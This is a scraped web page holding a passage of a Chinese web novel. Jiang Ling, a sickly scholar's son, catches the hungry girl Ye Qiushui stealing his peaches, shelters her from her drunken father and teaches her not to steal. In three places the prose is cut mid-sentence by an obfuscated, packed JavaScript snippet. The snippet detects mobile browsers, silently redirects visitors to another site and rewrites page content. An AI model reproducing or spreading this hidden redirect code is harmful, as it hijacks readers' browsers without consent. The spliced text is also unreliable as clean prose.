“是这附近的野猫，先前倒春寒，大猫兴许是冻死了，留下子女在墙角叫唤，我兴起喂了一次吃剩的点心，便会认人了。” “是吗？”江二爷仍是笑，“这猫常过来？” 他弯下腰，从江泠脚边抱起那只狸猫，但不知为何，那猫挣扎得有些厉害，弓着腰，朝江泠叫唤了两声。 江泠张了张口，似乎想要伸出手，但江二爷看了他一眼，将猫抱在怀里，轻轻抚摸，柔声细语。 “脾气倒是大。”江二爷说：“先前春时，想必每夜都叫得很欢吧。” 江泠垂着目光，“没有，没有声音。” 江二爷只是笑，将猫递给身后的仆人，看着他，语重心长地说：“三郎，这些都是惑人心智的东西，久而久之，你会懈怠，你瞧，这猫尖牙利嘴，又是外面的野猫，多脏啊，你不该让它进你的院子，无规矩不成方圆啊，若是挠伤了人该怎么办？你身体不好，叫它咬出个什么好歹来，不是平白叫长辈们担忧吗？” 江泠看着他怀里扭动的小猫，抬眼，目光里有些恳求，“它不咬人，很乖的。” “这些事谁说得清，毕竟是畜生。” 江泠又说：“它们也不常来，只是偶尔才爬到墙上，我很少喂它们。” “你喂一次，它们下次还会来，这规矩已经坏了，畜牲是改不了的，只要施舍一点，他们就会对你摇尾乞怜，是最没有骨气的东西，可是人不是畜生，人要有规矩。”江二爷盯着他，“明白吗？” 江泠沉默，半晌低低道：“儿子知道。” “嗯。” 江二爷抬手，对身后的仆人说：“弄出去，别再将什么猫啊狗的放进来。” “是，老爷。” 仆人抱着猫离去，江泠盯着他的背影，不由自主向前走了两步。 “好了。”江秀才拍了拍他的肩膀，将他拉回来，“先前爹爹一直忙于公事，还未问过你近来的功课，来，咱们回屋去，我要好好考考你。” “好……” 仆人已经抱着猫走远，直到再也看不到，江泠才慢慢收回目光，随父亲一起进屋。 不久，仆人将院子附近的野猫全部赶走，有的被江泠喂多了，认识他，喜欢在屋檐下跑来跑去，赶一次没用，又跳上来几次，皆被江家的仆人抓住，丢得很远。 很快，江泠所住的院子里再也没有野猫野狗踏足。 渐渐，桃树的果子也成熟，江泠有时候会站在树下抬头打量，上次在墙角看到几个桃核，他以为是有猫经过时啃食落下，怕被长辈发现，自己偷偷捡起来掩埋。 院子里的仆人看见他常站在桃树下，笑着说：“三郎是想吃桃子了？” 江泠问：“这棵树是谁种下的？” “据说是这宅子的第一任主人徐公栽下，几年后徐公因公调派，举家迁到京城了，这棵桃树枝繁叶茂，果子大如灯盏，瞧着喜庆，后来盘下宅子的人便也未曾将它砍去。” 仆人道：“三郎若是想吃桃子，不妨再等几日，等这桃子再长长，还能更甜。” 江泠点了点头。 院子里没了猫，江泠便每日去看桃树，桃树生得高大，有一片甚至越过墙，夏日枝叶繁茂，江泠时常坐在树下看书，绿荫遮蔽，凉风习习，除了看书听学外他没有别的事情可以做，听仆人说起那桃子的甜美，他竟也开始期盼果子成熟。 直到他某一日发现，树上的桃子少了许多。 江泠心细，会记住各个果子的位置，这样发现虫蛀时才能及时治理，一开始他并未察觉到树上的桃子在减少，偷盗的贼人还算警惕，最初只偷墙外的，每次摘得不多，让人一时难以察觉，直到墙外的被摘光，她不得不越墙偷桃，江泠才猛然发现，树上的果子竟不知不觉少去许多。 江泠不动声色，记下贼人偷盗的规律。 · 自从被堵在巷子里恐吓过一次后，叶秋水老老实实了一阵子，没有再去摸别人的钱袋，好在如今已是暮春，城郊野菜繁茂，叶秋水经常跟着其他妇人孩子一起去城郊挖野菜，或是下河摸菱角，为了填饱肚子，她总能想出各种办法。 叶大整日不回家，可能又去哪个赌坊或者妓馆鬼混了，叶秋水乐得自在，她盼着叶大不回家，他一回来家里就鸡犬不宁，她还要分给他一大半食物，说不定还会被打。 叶秋水白天出去摘野菜摸菱角，或是捡磨坊掉在地上的豆子，晚上就爬上墙去摘新邻院中的桃子。 气候渐暖，那桃子也快要成熟，叶秋水等不及，每日偷偷摘下几颗，第二日拿到街上去卖，桃子不算熟，卖不了几文钱，但有时可以换到一个包子，或是店家看她年幼可怜，多给她一个酥油点心。 一夜，叶大不在家，江家熄灯，她已摸清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496454|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了隔壁小官人每日就寝的时辰，当光亮暗下，叶秋水再等片刻，万籁俱寂，小官人睡熟之时，她悄悄攀上墙头。 她探头看了看四周，新邻喜静，虽然是富家少爷，但身边并没有多少人伺候，院子里空荡荡的，十分安静，叶秋水坐在墙头，桃树探出墙外的一面已经被她摘光了，这几日她靠偷摘来的桃子卖了好些钱，江宅的桃子又大又圆，散发着清甜的香气，一个能卖到三文。 十文，可以换到一袋米粮，熬成稀粥可以吃许久。 墙外的摘完后，就只能摘另一边，叶秋水人小手短，攀在墙头只能够到靠近的桃子，要再想更多的，必须越过垣墙，到院子里去。 叶秋水特地等了半个时辰，确定江小官人已经睡熟后才顺着树干爬到江家院子里。 她一手抱着树枝，一手挎着篮子，飞快地摘下树上的桃子，百忙之中还自己啃了一个，如今桃子已经完全成熟了，个大饱满，汁水充沛，甜滋滋的，叶秋水开心地眯了眯眼。 她一连摘了六七个，一手快要拎不动，干完坏事后像先前那样，抱着树枝想要爬回自家院落。 身后灯光突然亮起，有人喝道：“无耻小贼，站住！” 声音严厉，墙角有少年提灯而出，衣着整齐，显然埋伏已久。 叶秋水回头，正正与少年对上视线。 江泠将灯点起，照清来人相貌，他期盼许久，细心照看的桃子，竟被那贼人摘去大半！ 江泠脸一沉，“你给我下来！” 迁来曲州许多日，江泠学会不少当地话，这几个字叶秋水听明白了，她还记着那日巷子里的围堵与恐吓之仇，她不傻，哼了一声，“你叫我下去我便要下去么，我就不，略略略，切。” 江泠嘴角抽了抽。 说罢，叶秋水还挎着篮子，抬起手，朝他做了个滑稽的鬼脸。 江小官人当即认出这墙上君子，正是前几日偷盗孙仲言财物，还咬了他一口的小贼。 没想到她屡教不改，竟然还偷到江家院子里来了，甚至挑衅，简直可恨，可恶！ 他养尊处优，为人虽不跋扈，但毕竟出身富族，前呼后拥，很少有人会当着他的面忤逆他，更何况还是个贼， 古板严肃的江小官人说道：“你下来。” “我就不！” 叶秋水答，话音落下，江泠像是被气着，板着脸往前走了几步，叶秋水以为他要爬墙抓她，往后缩了缩。 然而，他只是停在墙下，重复，“你下来。” 试了几次，叶秋水发现，这位新邻似乎不会爬墙，只会叫她下来，但是她又不是傻子，怎么可能偷了人家东西还爬下去认罪。 这人估计脑子不好。 她不理，挎着篮子猴似的便从垣墙上爬回自己家了。 肩不能扛手不能提的体弱小官人亲眼目睹这小贼的灵活身手，顿时目瞪口呆。 他从来没有见过这么厚颜无耻的人，偷了东西还理直气壮，但他要做一个君子，他才不会爬墙。 5. 和解 叶秋水越来越胆大， 她每日都去偷桃，每日都能撞见新邻，江小官人站在墙下，冷脸看着她摘桃，除了呵斥她下来外，什么也不做。 他不会爬墙，也不会责骂，叶秋水偷完桃子大摇大摆地离开，他无可奈何。 书上说翻墙上梁非君子所为，江泠想要做一个君子，所以做不出上墙抓贼的事情，但他也见不得有人这般无耻大胆，可不知为何，江泠一直未将有人翻墙偷盗的事情告诉其他人。 所以许多日过去，江家没有一个人发现桃树上的果子再渐渐减少。 每日亥时一到，叶秋水都会雷打不动地攀上墙，江泠也每日守在树下，横眉冷对。 一日，在外鬼混多日的叶大回家，叶秋水不敢回去，叶大只有没钱用了才想起她，他知道叶秋水平日会小偷小摸，偶尔能攒下一笔钱，但是每次都藏不住，叶大会蛮横地搜刮来买酒。 今日一听到门闩响动的声音，叶秋水便眼疾手快，立刻抱着攒钱的罐子爬上墙，躲在繁茂的桃树枝叶中，战战兢兢，不敢动弹，找不到钱的叶大若是发现她藏在这里，钱被拿走是小，恐怕还要挨一顿打。 江泠正在屋中看书，窗户开着通气。 身后仆人正在整理床榻，突然听到轻响，江泠笔下停住，抬头，又看到那道小小的身影，很快钻进了树影中。 往常那小贼攀墙偷盗都是在无人的深夜，今日天才刚黑，院子里的下人还没离开她竟就已经出现。 若是被江家的仆从看到，一定会用长长的竹竿将她打下来，江泠发现她，没了看书的兴致，他不动声色地打发走院里的仆人，独自走到墙下站定。 “小贼。” 一道清清冷冷的声音传来。 仰面看星星的叶秋水偏过头，新邻不知何时走过来，仍是那副生人勿近的模样，冷笑：“你又来偷桃了？” 江泠瞳光流动，环视树梢，没看出自家桃子变少，他又道：“还是想偷其他东西？” 他看着很严肃，警告她，“我不会让你进来的。” 上次偷钱，这次偷桃，谁知道她还会耍出什么花招。 叶秋水好面子，不服气，她张嘴龇牙，但又怕声音太大被正在找她的叶大听到，只能抠着眼皮，无声地做了个又丑又滑稽的鬼脸。 江泠：“……” 下一刻，一墙之隔外叶大暴怒的声音传来：“小杂种，我知道你躲起来了，你最好不要让老子找到，不然老子一定打断你的腿！” 怒喝声裹着浓厚的酒气，伴着叮当当锅碗瓢盆落地的声音，在这个寂静的夜晚，突兀又刺耳。 叶秋水脸色霎时变得苍白，如惊弓之鸟，往树影间缩了几分。 恼羞成怒的叶大一定会打死她，她不能下去，要在墙上呆一夜。 小贼刚刚还嚣张跋扈，此刻却瑟缩着，怀里紧紧抱着一个瓦罐，警惕地看了看四周。 江泠听到叶大的声音后诧异许久，他听仆人说起过垣墙外就是北坊，是贫民窟，与江家毗邻的是赤贫户叶家，当家的男人是个游手好闲的酒鬼，妻子很早离世，不知是病死还是被他打死，他似乎有个女儿，江泠偶然听见他们闲聊，但并没有放在心上。 如今想来，这个日日攀墙偷桃的小贼，就是那户人家的女儿了。 叶大鬼混回家，喝了酒打砸东西，说不定还会打人，难怪她今日这么早就爬墙，想来是家中不能呆，没处去才躲到这里。 叶秋水将自己缩成虾球，背脊轻颤，紧紧闭着眼，听着家中混乱的动静，那个新邻似乎在说话，不知是嘲笑还是警告，叶秋水已经无暇顾及他，她想，像他这样有钱的小官人，肯定会嘲笑她。 毕竟东门街的那群达官贵人都是这样，不准北坊的贫民靠近，他们会饲养凶神恶煞的狼狗，驱赶路过的穷人，顽劣的富贵少爷，甚至会用点心玩具将穷孩子骗过去，放狗咬他们玩。 叶秋水闷着头，将储钱罐抱在怀中，闭眼祈祷这一夜赶紧过去，叶大找不到钱就离开了。 然而耳边声音越来越大，她哪怕将头埋进膝盖上也能听到，忽然，有人拍了拍她的肩膀，叶秋水整个人弹了一下，瞳孔颤抖，险些喊出声。 一扭头，却发现是新邻，他不知何时爬上树干，见她要叫，抬手做了个噤声的手势。 江泠压低声音，“我叫你许多声，你下来吧，到我这儿来，他在屋中找不到你，定会返回院子里寻找，一抬头就能看见你了。” 叶秋水有些懵。 江泠又重复，“下来，你躲在这里，稍有不慎摔下去就会受伤，可能还会残疾，他不会找到江宅来的。” 他说的话句句在理，叶大再跋扈，也不敢惹到当官的江秀才头上，哪怕那只是个很小的官。 叶秋水犹豫了一会儿，顺着墙，跳到树上，然后很快爬下。 与她不一样的是，江泠面露难色，他是金尊玉贵的富家子弟兼官宦后辈，肩不能挑手不能提，方才爬树，江泠蹭破了手心，华贵精美的衣袍也勾了丝，从树下下来对他来说有些困难，江泠绷着脸，缓慢地踩着树枝而下。 叶秋水仰头看着他，许久，见新邻挂在树上，不上不下，一向严肃清俊的脸上第一次显现出了尴尬的颜色。 江泠：“……” 她灵机一动，跑进廊下，从江泠的房中搬来椅子，江泠白皙的脸庞因为窘迫而有些红，飞快地说了声“谢谢”，踩着椅子从树上下来。 他衣领乱，头发也乱，被粗糙的树皮磨红的掌心破了好几处。 方才他没想那么多，反应过来时已经上树喊人了，这会儿冷静下来，才意识到自己做了君子不该做的事情。 翻墙上梁，非偷即盗，皆是小人所为，哪怕他今日是为了帮人，也有违君子言行。 江小官人十分爱干净，每日要洗数十次手，出门前后必沐浴熏香，整个人从头到脚连发丝都是清香雅致的，方才爬树衣服被勾破，他低下头，皱眉，一言不发地拔掉身上的树叶。 叶秋水看着他动作。 江泠沉着脸，拔掉衣摆上勾着的最后一根树枝，回过神，发现那个小贼正一眨不眨地看着他，眼里满是好奇。 忽然，她的肚子重重响了一下，叶秋水顿时觉得难为情，欲盖弥彰地扭过头，看看天看看地，肉眼可见脸颊胀红。 她今日还没有吃过饭，一直在丢人。 江泠没说什么，顿了顿，然后离开。 片刻后，他再次返回，手里捧着一碟热气腾腾的点心，“给。” 叶秋水愣住。 江家财大气粗，对子女溺爱，但江二爷自诩是读书人，为人分外讲究，对江泠的教育也严苛，听说大世家过午不食，江二爷在家中也立下规矩，每日吃多少都有限制，小孩子喜欢吃甜食，江泠也不例外，但江二爷觉得嗜甜害人，不允许他多吃，每日能吃的点心都严格让下人把控着。 晚膳时有一碟芙蓉栗子糕，江泠没有动，小心翼翼包起来，准备留着夜里读书读累了再吃。 他将栗子糕递过去，温热还冒着香气，叶秋水眼睛都看直了，伸出手，但是并没有接，她狐疑地看了看面前的少年。 “你吃。” 江泠又往前递了递。 他目光诚恳，并无恶意，叶秋水犹豫了一下才接过，她缓缓拨开纸皮，先是凑近用鼻子闻了闻，鼻尖沾上糖霜，触感绵软，她没有立刻咬下，而是伸出舌头舔了舔。 江家作为曲州富甲一方的有钱人家，家中聘请的是从五湖四海而来的名厨，点心做得甜而不腻，入口即化，一口下去回味无穷，口齿间满是清新的栗子香。 叶秋水眯起双眼，神情惊喜，“好好次！” 常年吃不饱饭，三天两头与野狗抢食的叶秋水吃相很差，为了能抢到食物果腹，她时常来不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496455|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及咀嚼就吞咽，栗子糕有些噎人，她说完就变了脸色。 江泠心领神会，又跑进屋中端来茶水。 茶是名茶，价格昂贵，叶秋水喝了一口，若非为了咽下栗子糕，她大概会当场吐出来。 “难喝！” 她将茶盏推回去，狼吞虎咽地吃完一碟栗子糕，这次速度慢了一些，结束后叶秋水又舔了舔手指，不放过沾上的糖霜。 江泠看呆了，在家中，一切规矩品行都要向世家对齐，就连江家的仆人也是只要相貌周正，品行端庄的，江泠从来没见过有人吃饭能吃得这么磕碜，就好像从来没吃过饭，像山上的野人一样。 叶秋水吃完点心，抬起头，看了看呆站在面前的少年，她这时才后知后觉，往后缩了缩脖子，说：“我……我没有钱给你。” 江泠回神，说：“不要你的钱。” 她将信将疑，目光里是藏不住的警惕，圆溜溜的眼珠转了转，探究地打量江泠。 像一只常年游荡在野外，矫健又机警的猫儿，并不会轻易相信人类。 江泠看出她的怀疑，开口：“不过，你下次不可以再翻墙偷东西，攀墙上梁，乃小人行径。你偷盗的是旁人家的财物，越墙又有擅闯民宅之嫌，被抓住后会送到衙门打板子，甚至丢命。” 这么久以来，江泠已经会说许多曲州话，叶秋水愣愣地听他说，似懂非懂。 “那你怎么还让我进来？” 她疑惑问道。 江家三郎也不是第一日发现她在偷桃了，一直到今日，半数的桃子都快被摘完，他也没有告知家中，叶秋水也没有被抓。 江泠想了想，说：“事出有急，下次就不会放你进来了。” 话语冷冰冰的，一点也不留情。 叶秋水“哦”了一声。 她还怀念着那栗子糕的味道，舔了舔嘴唇，转身，自己找了个角落蹲下。 黑漆漆的树影下，小小的一团，将自己缩得快要看不见，叶秋水下巴枕着自己的手臂，小声说：“天亮前我会走的。” 江泠沉默，他苍白瘦削的脸在昏暗中因看不清晰而显得有些凶，叶秋水见了，闷着头，又改口道：“不用到天亮，等我爹爹睡着了我就走。” 一墙之隔外，叶大的骂声没有停过，他喝了酒怒气冲冲，大概许久都不会消停。 叶秋水听到他在骂她，瑟瑟发抖。 江泠眉头几不可察地皱了一下，沉默半晌，转过身，“你进来吧，等他走了你再回去，但是不准乱动乱跑，不可以随便拿东西。” 树下的小人抬头，眼睛一下子亮了起来，似乎是怕他反悔，她三步并两步，抱着储钱罐，风一样地窜进了江泠的屋子。 叶秋水第一次进入这里，江泠住的屋子陈设简单，但十分雅致，绢绣的山水画隔开内外两间，书桌靠墙，案上整齐有致地摆满书籍，笔墨纸砚，清香馥郁。 她呆了呆，蓦地脸上显现出局促，脏兮兮没有穿鞋的脚交叠着，但无处可藏。 叶秋水本来还新奇，看到这样的屋子，顿时如冷水浇在头顶，一种说不清的情绪涌上心头，她低下头，不再四处乱看了。 还未等江泠说什么，叶秋水便率先说道：“我在这里就好了。” 她自己找了个角落蹲下，蜷曲着双脚，尽量不让自己沾满泥的脚，或是缝补多次的短衣沾到干净的簟席。 江泠看了看她，指了指窗下的小榻，“你可以在这里，但是不要动其他东西。” 叶秋水是个屡教不改的小贼，江泠本不该放她进来，若是被长辈发现，他不知该如何交代。 叶秋水迅速点点头，“知道了，不会动的。” 说完，像是为了证明自己很乖，她靠着窗，迅速合上眼，叶大的声音朦胧不清，她看上去已经不像方才那么害怕，只有眼睫还在颤着。 江泠收回目光，转身走近里间。 6. 教导 第二日，江泠醒得很早，每日天不亮他就会起来读书，无论寒冬酷暑，只有生病的时候才会破例。 他记着外间的小贼，虽然江泠喜静，院子里很少有仆人侍奉，但清晨奴仆会过来洒扫院落，也会有丫鬟推门整理床榻，江泠比往日起得更早，他要在仆人们进来前让小贼离开。 也不知她酗酒的父亲有没有离家，江泠从屏风后绕出，环视整间屋子，却并未看到那个小小的身影。 不同的是，书案上多了一个陌生的瓦罐，陈旧，廉价，但被擦得很干净。 江泠走近，打开盖子一看，里面放着一把铜钱，数目不多，但每一枚都被擦得铮亮，似乎被人无数次捏在掌心细数过，江泠怔了一下，想起这是昨夜那小贼一直紧紧抱在怀里的东西。 她并不在院子中，大概已经离开，簟席分毫未乱，却独独遗留下财物，瞧那孩子的模样，想来这钱攒起来也不容易，丢了应当很着急。 他抬起头，看向院子里的高墙，叶家的平房太矮，在高墙的遮盖下未泄分毫，江泠仔细聆听，并未听见有任何谩骂打砸声，他松了口气。 这时，江家的洒扫仆人走进院子，江泠想了想还是没有将瓦罐交给他们，他怕传到长辈耳朵里后会引起更多事端。 江泠想，她丢了钱定会回来寻找，入了夜再交给她好了。 果不其然，一到时辰，墙头立刻探出一个身影，叶秋水一爬上墙就看到已经有人等候了，少年还是那副冷淡的神情，清秀的面庞不苟言笑，抬头看着她，说：“你又来了。” 叶秋水嘿嘿一笑，并不像先前那般嚣张刁蛮，她的眼睛很圆，像是金光熠熠的玛瑙石，笑起来会有两颗浅浅的梨涡，看着很甜。 江泠本来已经做好她会吐着舌头，做起鬼脸的准备，突然被这猝不及防的笑容击了一下。 他脸上的冷硬神情收敛了几分，叶秋水坐在墙头，腼腆地笑了笑，说：“我爹爹一早就出门喝酒了，所以我就回家啦，我本来想早点过来找你，但是你的院子里一直有人，我只好等到现在，还好你还没睡。” “找我做什么？”江泠脱口而出，话音落下才想起，“是那个罐子？你落在这里了，我拿给你。” “不用不用！” 叶秋水打断他转身的动作，江泠不解地看着她，叶秋水很不好意思，忸怩了一下，小声说：“是给你的，谢谢你帮我，还给我吃糕糕。” 江泠微愣，“我不要你的钱。” 叶秋水抬眼觑了他一眼，“洗干净了……” “不是这个意思。”江泠说：“只是随手之劳，我不缺钱，不需要你给我这些，你自己留着。” “哦……” 江泠沉默，又问：“那些钱是你攒的？” “嗯！”叶秋水点了点头，“是我帮谢阿婆择菜，还有卖桃……唔。” 她不说了，低下头，看上去很不好意思。 桃子是江家的，她偷了江家的桃，卖来的钱送给江家的小官人，是有些好笑。 “你拿走吧。”江泠举起手，将瓦罐递给她，“你的钱，你自己收着，只是以后绝不可以再来偷东西了。” 叶秋水点头，接过，将瓦罐抱在怀里，再揭开盖子，她稚嫩窄小的手掌装不下几枚铜钱，叶秋水只会从一数到七，再重复，她知道，瓦罐里有六个七，是她这半个月来卖桃子得来的一笔“丰厚”的财产。 看到钱，叶秋水的眼睛都亮了许多，笑脸盈盈，梨涡也比先前更深，她才六岁，已经是个不折不扣的小财奴，江泠看着她数钱，从一数到七，而后重复，十分艰难。 他突然问：“你叫什么名字？” 叶秋水捧着一把铜钱，说：“叶秋水。” 江泠将这三个字念了念，“可是‘落霞与孤鹜齐飞，秋水共长天一色’的‘秋水’？” 他学过这篇文章，在许多书中，“秋水”都是一个很美的词，也指美人，美好的女子。 然而女孩的神情看着却很困惑，她完全听不懂江泠在说什么。 江泠反应过来，一个连算数都不会的孩子，怎么可能知道那两句的含义。 “你家人读过书？” 叶秋水摇头。 江泠：“那你的名字从何而来？” 叶秋水随口回答：“爹爹说，我出生的时候是秋天，娘亲生我时，家中的房屋被大水冲垮，爹爹觉得我晦气，不喜欢我，秋水……就是秋天的洪水呀，会让他倒霉。” 她说这些话的时候神情很平静，好像只是在说一件最寻常不过的事情，也可能她跟本不明白这其中的恶意。 江泠却愣了愣，他没想到，同一个词，会被不同人赋予截然不同的意义。 片刻后，江泠低声道：“抱歉。” “为什么要抱歉？” 叶秋水很纳闷。 江泠没有说话，他忽然跑开，不一会儿又揣着个热气腾腾的甜糕过来。 “给、给……” 江泠体弱，跑了几步便气喘。 他将甜糕递给墙上的人。 叶秋水瞳孔放大，“给我？” “嗯，是枣泥糕。” 叶秋水眉眼弯弯，笑嘻嘻地接过。 她先是端详，像昨日一样，鼻子凑近闻了闻，轻轻舔了一口后才开始咬。 枣泥打得很细，加了蜂蜜，甜丝丝的，叶秋水好吃得晃起脚，眼睛都眯成一条缝。 江泠胸口微微起伏，仰头看着她吃得很香。 今日的点心，他也没有吃，嘱咐小厨房用蒸笼温着。 叶秋水的衣服很短，穿了许多年，越穿越短，补丁打得乱七八糟，衣摆下露出一截肚皮，比起她黄黑的脸与手臂，肚皮倒是很白净。 非礼勿视，非礼勿听，江泠立刻低下头。 叶秋水的吃相和昨天一样凶猛，三下五除二地吞掉两块，到了最后一块时，她终于慢下来，想起要好好品味，又像是不舍得吃完，捧在指尖，一点一点地吃掉最后一块枣泥糕，还不忘舔了舔手指。 “你为什么要给我吃的呀。” 她忍不住问道。 她经常偷江家的桃子，还咬过少年一口，屡次偷桃，屡次挑衅，可少年似乎并没有告诉家人，甚至还帮她藏身，给她糕糕吃，这是个奇怪的好人，叶秋水觉得自己误会他了，可能少年同那天打她的人并不是一伙儿的，他也并没有想要砍断她的手。 江泠想了想说：“我吃不掉，丢了也是可惜。” 原来是这样，叶秋水兴奋地说：“那你以后吃不掉的东西都可以给我！我可以帮你吃掉！” 江泠“嗯”了一声，还是那副冷淡的神色。 过了会儿，他说：“亥时了，我该就寝了。” “哦。” 叶秋水舔了舔嘴巴，口齿回味，“那我回家啦？我明日还来找你玩。” 在她眼里，她和少年已经是过命的交情了。 江泠面色不变，看上去不知道是情愿，还是不情愿，他转过身，径直回屋，没有回答。 第二日，天一黑，叶秋水就在墙头动来动去，时不时露出半个脑袋，她在窥视江泠院子里的仆人有没有离开。 江泠很早就注意到她了，他借故让仆人们离开，披起薄衣，从房中走出。 叶秋水立刻跳出来，“嘿！” 她的惊吓并没有在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496456|170218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江泠眼底掀起一丝波澜，他好像对什么都淡淡的。 叶秋水有些泄气，但小孩子开心得很快，“我又来啦。” 江泠面色不改，目光平静，“你又来了。” 声音没有起伏，好像并不乐意她来，但是他也没有出言让她不要过来。 叶秋水盈盈一笑，江泠看着她，问：“你今日不摘桃子了？” “不摘了。” 江泠看了看她身侧，的确没有看到篮子，她不摘桃子了，那大概也不会再过来，况且马上到了秋天就没有桃子了。 “哦。” 他淡淡道。 “你昨日和我说不要再偷东西，那我就不偷了，你可是我朋友！” 小孩不记仇，况且他们还没有仇，经过昨日，叶秋水已经将江泠看作自己人。 因为叶家太穷，叶大又脾气暴躁，与邻里关系不好，叶秋水为了填饱肚子经常小偷小摸，今日偷东家的瓜，明日摘西家的梨，邻里都被她偷怕了，小孩子也不喜欢和她玩，但是叶秋水不在乎。 她每日励志要填饱肚子，才没有闲情逸致去和别人玩耍，光是到处找食物就已经耗尽精力了，最重要的是，叶秋水知道别人嫌弃她穷，瞧不起她小偷小摸。 江泠是鲜有的不会欺负她，还给她食物的人，叶秋水自然而然地将他划成自己人，那么她就不会去偷江泠家里的东西。 闻言，少年冷若冰霜的面庞松缓几许，然而嘴上仍是极寡淡地“哦”了一声。 片刻后，江泠又开口：“你也不可以去偷别人家的东西。” 叶秋水疑惑，“为什么？” “君子安贫，达人知命。” 她摇了摇头，“听不懂。” 江泠顿了顿，认真解释，“偷东西不好，有违道义。” 叶秋水“唔”了一声，“可是我饿……” “那也不可以偷东西，不是说因为你有理，你就可以去做恶事，哪怕这个恶事很小很小，小到微不足道。”江泠看着她的眼睛，“习惯是渐渐养成的，你今日因为饥寒交迫偷取食物，明日也会偷钱，甚至伤人，你会习惯不劳而获，习惯靠盗窃去维持自己的生计。” 江泠告诉她，“上一次，你偷了孙仲言的钱，孙仲言……就是那个将你堵在巷子里的人，你知道他是谁吗？” 叶秋水摇了摇头。 “他是知州的儿子，知州，是这里最大的官，轻易得罪不起。” “你偷了孙仲言的钱，抓花了他的脸，他想打死你的心都有了，只是碍于身份，不能弄出人命罢了。” 听到自己有可能会被打死，叶秋水不禁打了个寒颤。 江泠继续道：“你并非每一次都能逃脱，所以说，偷盗，就如走在刀尖上，哪怕能尝到一时甜头，也总有一日会付出更大的代价。” 叶秋水听懂了，“哦……” 她沉默了一会儿，忽然低下头，闷闷道：“我爹没有教过我这些，他说，他没有饭给我吃，也没有钱给我，我要是饿，就自己去偷，从小我都是这样的，我很厉害的，偷钱没有失手过。” 也不是没失手过，第一次不熟练，被人吊起来打，差点死掉。 叶秋水抠着自己的手指，声音很轻。 叶大一直是这么教她的，没有人告诉她，这些是不对的，叶秋水似懂非懂，隐约知道这样似乎不对，但她太需要活下去，她已经习惯了在街上打量路过的人，熟练地顺走他们挂在腰间的钱袋。 江泠听了，没有说话，他也沉默。 许久，他终于开口：“现在，我教你了。” 江泠抬起头，直视叶秋水，“你要记得，有人教过你的。” 7. 暑夏 夏季炎热，一车一车的瓜果送到江家，仆人将其浸在井水中，晚膳后捞出，厨房切好后送到各个院落。 井水浸过的瓜果很凉，江泠只被允许吃几块，仆人看着他，泠哥儿吃东西很斯文，卷起袖子，削白的指节捧着瓜果，旁人吃瓜往往吃得汁水淋漓，他指尖干干净净，慢条斯理地吃完两块，起身擦手。 盘中还有半个石榴，是族里人孝敬老夫人的，老夫人疼爱孙辈，特地差人给江泠送了几个，他分给父母两颗，自己只吃了半个，还有一半放在碗中。 另有一块瓜，刚从井水里捞出切开，冒着冷气，脆生生的，吃起来很消暑。 仆人见他擦手，问：“三郎不吃了？要不要收起来？” “不用，放在这里，我看会儿书，一会儿再吃。” “好。” 三郎要看书，他们不好打扰，铺好床榻，点上驱蚊的熏香，关门离去。 待人都走后，江泠放下书，将窗户推开。 很快，有一个身影探出墙，朝他招了招手。 “江宁！” 叶秋水荡着腿，叫他。 她口齿不清，江泠告诉过她自己叫什么，但叶秋水从来没有叫对过。 “是‘泠’，不是‘宁’。” 江泠纠正她。 “哦。”叶秋水敷衍地点点头，不明白这两者有什么区别。 她还是“江宁江宁”地叫，江泠纠正几次没有用，后来再也不管了。 “我今日帮人送信，那位官人给了我五文呢。” “我想买羊肉包子，但我有些舍不得全用掉，所以我买了三文钱的素包子，剩下的放在瓦罐里了。” 叶秋水高兴地说，双腿轻轻地晃，“素包子也很好吃，包子吃起来好软好软。” 江泠静静地听她说，她每日都会过来告诉他她今日做了什么，她还小，做不了什么重活，只能帮人跑跑腿，送送信。 上一次她偷了孙仲言的钱，买了心心念念的羊肉包子，但是只咬了两口，还被打了一顿。 “知道了。” 江泠回应她。 叶秋水笑，坐在墙头晃腿，只有夜深人静的时候她才会出现，她比狸猫聪明，从来没有被抓住。 她也很有分寸，没有从墙上下来过，江泠上次说，她不可以翻过墙，随意进入别人的院落，这样也是不对的，她很乖，全部记在心里。 “给。” 每次她出现，江泠都会给她送来不同的吃食，今日是瓜果，精致的盘子中有一块甜瓜，还有半个她不认识的东西。 “这是什么呀？” 叶秋水疑惑地问。 “石榴。” 江泠告诉她。 叶秋水没有见过，好奇地打量，笑眯眯说：“像宝石！” 她在街上看到路过的贵妇人头上插得满满的，亮晶晶的珠钗上就有这样的东西。 “嗯。”江泠点头，“你吃。” 叶秋水不知道怎么吃，无从下手。 江泠看出来，“等等。” 